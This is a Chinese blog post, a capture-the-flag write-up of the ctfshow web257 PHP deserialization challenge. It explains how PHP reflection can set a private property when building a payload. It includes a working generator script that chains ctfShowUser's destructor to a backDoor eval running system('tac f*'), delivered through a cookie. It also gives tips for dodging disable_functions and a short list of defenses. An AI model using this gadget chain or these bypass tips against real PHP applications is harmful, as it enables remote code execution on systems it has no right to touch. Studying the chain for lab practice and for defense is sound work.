news 2026/10/30 9:54:10

PHP反序列化中使用反射绕过私有属性

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP反序列化中使用反射绕过私有属性

以ctfshow的web257为灵感

反射(Reflection)是 PHP 提供的一套“在运行时查看、操作类内部结构”的官方 API

类作用
ReflectionClass类名、父类、接口、属性列表、方法列表;创建实例;newInstanceWithoutConstructor()
ReflectionProperty读写属性,包括 private/protected;setAccessible()、getValue()、setValue()
ReflectionMethod调用方法,包括 private;invoke()、invokeArgs()
ReflectionFunction/ReflectionParameter函数、参数、默认值、类型
ReflectionAttributePHP 8 的 Attribute(注解)

这里以ctfshow的web257为例

源代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 20:33:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{//info类 正常类 private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code);//这里有eval可以执行PHP代码 所以需要想办法触发getinfo } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
<?php class ctfShowUser{ private $username='a'; private $password='b'; private $isVip=false; private $class; public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); $b=new backDoor(); $a->class=$b;//这个地方会报错 $b->code=="system('tac f*');"; echo serialize($a); ?>

本来想尝试这种做法 在最后统一串起来 但是由于class被设置为私有属性不能额外调用

然后询问AI得知可以使用反射绕过私有属性

故开始尝试

最终得到

<?php class ctfShowUser{ private $username='a'; private $password='b'; private $isVip=false; private $class; public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); $b=new backDoor(); $b->code = 'system("tac f*");'; // 反射修改私有属性 $ref = new ReflectionClass($a); $prop = $ref->getProperty('class'); $prop->setValue($a,$b); $ser = serialize($a); echo "序列化后:".$ser."\n"; echo "url编码后:".urlencode($ser); ?>

将得到url编码后的内容放到cookie里 再传username和password的参 即可得到flag

变量类型作用
$refReflectionClass对象ctfShowUser这个类的“说明书 + 操作手柄”
$propReflectionProperty对象ctfShowUser::$class这个属性槽的句柄
$serstringserialize($a)得到的序列化字符串

$ref 类的反射对象

$ref->getName(); // 类名 $ref->getProperties(); // 所有属性(含 private) $ref->getMethods(); // 所有方法 $ref->getConstructor(); // 构造函数 $ref->newInstanceWithoutConstructor(); // 不走构造函数创建实例

$prop 属性的反射对象

$prop = $ref->getProperty('class'); $prop->setValue($a, $b);

getProperty('class')返回一个ReflectionProperty代表ctfShowUser::$class这个槽位setValue($a, $b)把$b写进$a->class

$ser 序列化结果

普通字符串,内容是整个对象图(包括私有属性)

扩充的知识点

  1. 反射家族:ReflectionClass、ReflectionProperty、ReflectionMethod、ReflectionFunction、ReflectionParameter、PHP 8 的ReflectionAttribute。框架的依赖注入、ORM、PHPUnit 都靠它们。
  2. setAccessible()的历史:PHP 8.1 起是空操作;之前必须显式打开,读 private 属性也一样。
  3. newInstanceWithoutConstructor():跳过构造函数,避免构造函数里的副作用(重置属性、连数据库、抛异常)。这是真实 gadget 链脚本里最常用的 API 之一。
  4. ReflectionObject:专门针对对象的反射类,ReflectionClass的子类;传对象时两者都能用。
  5. 序列化格式细节:O:类名长度:"类名":属性个数:{...}、s:字节长度:"值";、private 的\0类名\0属性、protected 的\0*\0属性;长度按字节算,属性个数只数实际写进去的。
  6. 自定义序列化:__sleep()/__serialize()控制“序列化哪些属性”,__wakeup()/__unserialize()在反序列化时触发;这道题没有,但真实链子里常见。
  7. unserialize()的第二个参数:['allowed_classes' => [...]]白名单;不存在的类会变成__PHP_Incomplete_Class。
  8. Cookie 传输:urlencodevsrawurlencode、%00、双重编码(%2500)、;会截断 Cookie、NUL 在浏览器里不可见。
  9. 对象生命周期:__destruct()在脚本结束或对象释放时触发;生成脚本里保留析构方法,会在本地执行一次命令。
  10. 本地生成 vs 服务端利用:反射跑在你的生成脚本里;靶机只执行unserialize()。unserialize()本身就不受可见性限制,所以私有属性在它面前不是防线。
  11. 危险函数:eval、system、shell_exec、passthru;靶场常见disable_functions会禁用其中一部分,system不行就换shell_exec,反之亦然。
  12. 防御:不要unserialize()用户输入;用json_decode();必须反序列化时用allowed_classes白名单 + HMAC 签名;不要把eval放进__destruct()。
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/30 9:44:26

Python二手房数据采集与可视化分析毕业设计实战

简介&#xff1a;这份资源是面向计算机、电子信息工程、数学等专业大学生的毕业设计与课程设计参考资料&#xff0c;围绕Python二手房数据采集与可视化分析展开&#xff0c;适合作为期末大作业或毕业设计的完整方案模板。压缩包共155个文件&#xff0c;约35.13MB&#xff0c;包…

作者头像 李华
网站建设 2026/10/30 9:43:10

PiliPlus:让看B站变简单的开源客户端

PiliPlus&#xff1a;让看B站变简单的开源客户端 【免费下载链接】PiliPlus PiliPlus 项目地址: https://gitcode.com/gh_mirrors/pi/PiliPlus PiliPlus 是一个用 Flutter&#xff08;跨平台 UI 框架&#xff0c;一套代码多端运行&#xff09;写的 B站第三方客户端&…

作者头像 李华
网站建设 2026/10/30 9:38:47

Java Web房屋租赁系统部署教程:从源码到可运行项目

简介&#xff1a;基于Java Web的房屋租赁管理系统是一套面向课程设计、毕业设计及Java Web初学者参考的完整项目源码。项目以JSP/Servlet为核心&#xff0c;搭配Tomcat应用服务器与MySQL数据库&#xff0c;围绕房源发布、用户注册登录、租赁记录和合同管理展开&#xff0c;覆盖…

作者头像 李华
网站建设 2026/10/30 9:36:21

Paperclip:面向 React 的轻量级 AI 智能体运行时框架

1. “Paperclip”不是回形针&#xff1a;一个被误读的开源项目代号最近在几个技术社区里频繁看到“paperclip”这个词&#xff0c;尤其和 Node.js、React、AI agents 这些关键词一起出现。有人以为是某个新出的 UI 组件库&#xff0c;有人猜是 React 的 Hooks 封装工具&#xf…

作者头像 李华
网站建设 2026/10/30 9:22:25

从零搭建AI工程链路:数据管道、可复现训练与部署实践

前一阵整理自己的学习笔记&#xff0c;翻到半年前那个命名为ai-engineering-from-scratch的文件夹。项目名起得挺嚣张&#xff0c;实际内容其实很朴素——我没去重写 Transformer&#xff0c;也没从零手撸反向传播&#xff0c;而是给自己定了一个目标&#xff1a;从空目录开始&…

作者头像 李华
网站建设 2026/10/30 9:22:15

基于UKF的六自由度火箭飞行预测跟踪:从状态方程到Sigma点滤波实践

简介&#xff1a;这份资源面向本硕博及科研人员&#xff0c;围绕UKF无迹卡尔曼滤波算法&#xff0c;提供基于加速度计、陀螺仪与GPS数据的六自由度火箭飞行预测跟踪方案&#xff0c;重点解决位置、速度与姿态的联合估计问题&#xff0c;适合作为组合导航与状态估计方向的教学研…

作者头像 李华